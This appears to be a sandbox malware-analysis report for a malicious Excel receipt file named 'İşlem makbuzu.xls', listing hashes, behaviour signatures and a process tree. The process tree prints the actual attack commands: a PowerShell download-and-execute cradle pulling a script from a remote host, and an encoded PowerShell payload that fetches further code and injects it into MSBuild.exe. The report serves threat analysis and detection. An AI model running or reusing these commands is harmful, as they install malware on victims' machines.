bc931d7664aeaef451ee7a596031259b24fc48772e624e2d7bf0e18c094551ef

General

Target

İşlem makbuzu.xls
Size

1.2MB
MD5

e1ad40565ca903516bd05ba7fda11572
SHA1

37da3e979b21cf1cfce1caf621e87e4976d85c39
SHA256

bc931d7664aeaef451ee7a596031259b24fc48772e624e2d7bf0e18c094551ef
SHA512

ac66861c96ee0608e4a931121f0edf9bd89937998d0899711f4385c8a33b0b6535643f3000da063bd8cfdd6c1f5826a7e632ca00085e3fdbd73b25622da4b4b4

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://ahjuric.si/Code.txt

Signatures

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
740	powershell.exe
1844	powershell.exe
1844	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1496	EXCEL.EXE
1496	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
5	740	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1496	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1496	EXCEL.EXE
1496	EXCEL.EXE
1496	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	740	1496	powershell.exe	23

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 740	1496	EXCEL.EXE	24
PID 1496 wrote to memory of 740	1496	EXCEL.EXE	24
PID 1496 wrote to memory of 740	1496	EXCEL.EXE	24
PID 740 wrote to memory of 1844	740	powershell.exe	27
PID 740 wrote to memory of 1844	740	powershell.exe	27
PID 740 wrote to memory of 1844	740	powershell.exe	27

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\İşlem makbuzu.xls"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://ahjuric.si/Code.txt')
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAZgBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHAAbABkAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:1844

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads